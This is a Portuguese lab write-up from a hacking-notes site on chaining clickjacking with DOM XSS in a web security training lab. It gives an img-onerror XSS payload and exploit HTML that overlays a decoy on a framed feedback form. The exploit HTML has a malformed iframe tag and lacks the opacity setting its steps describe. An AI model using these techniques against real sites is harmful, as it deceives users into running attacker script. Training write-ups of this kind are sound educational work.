> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking para Disparar XSS DOM

### Explorando a vulnerabilidade de Clickjacking para disparar XSS baseado em DOM

#### Objetivo

Levar um usuário a clicar em um botão ("Click Me") incorporado em um iframe para executar a `print()` função por meio de uma vulnerabilidade XSS acionada por clique.

<figure><img src="/files/aa408c2567e60143e50ce88582d65e2d9318363b" alt=""><figcaption></figcaption></figure>

#### Contexto / Observações

* O **formulário de feedback** tem um `parâmetro` nome vulnerável a um XSS em DOM (o payload JavaScript é executado quando a imagem falha e invoca a função desejada).
* Exemplo de payload detectado: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/5756a491ba9c62d73dd153edbe9e359121594da4" alt=""><figcaption></figcaption></figure>

* Outros parâmetros úteis para pré-preencher o formulário no frame: `email`, `assunto`, `mensagem`.

#### Payload usado

Para disparar `print()` por meio da vulnerabilidade em `parâmetro`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/e2dbf9f701c9893f62062342e9c6040d1ae6723a" alt=""><figcaption></figcaption></figure>

* Inclua um `<iframe>` apontando para a `/feedback` página vulnerável com parâmetros pré-preenchidos (`parâmetro`, `email`, `assunto`, `mensagem`) contendo o payload XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/ddeaa59274da2332ceb4cc82abb2f6b2adf3e200" alt=""><figcaption></figcaption></figure>

1. Faça o frame quase invisível (opacidade muito baixa) e sobreponha uma isca acima dele, posicionada de forma que o clique da vítima atinja o botão "Click Me" dentro do frame.
2. Quando a vítima clica na isca, o clique é transmitido para o frame e o XSS em DOM é acionado — aqui `print()` é chamado.

#### Exemplo de código para hospedar no servidor de exploração

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Clique</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/2856faf65aad2fa0eac1dc6ded941b184d40cd93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e77944d08326f096a688c271df7aa79a9ce080dd" alt=""><figcaption></figcaption></figure>


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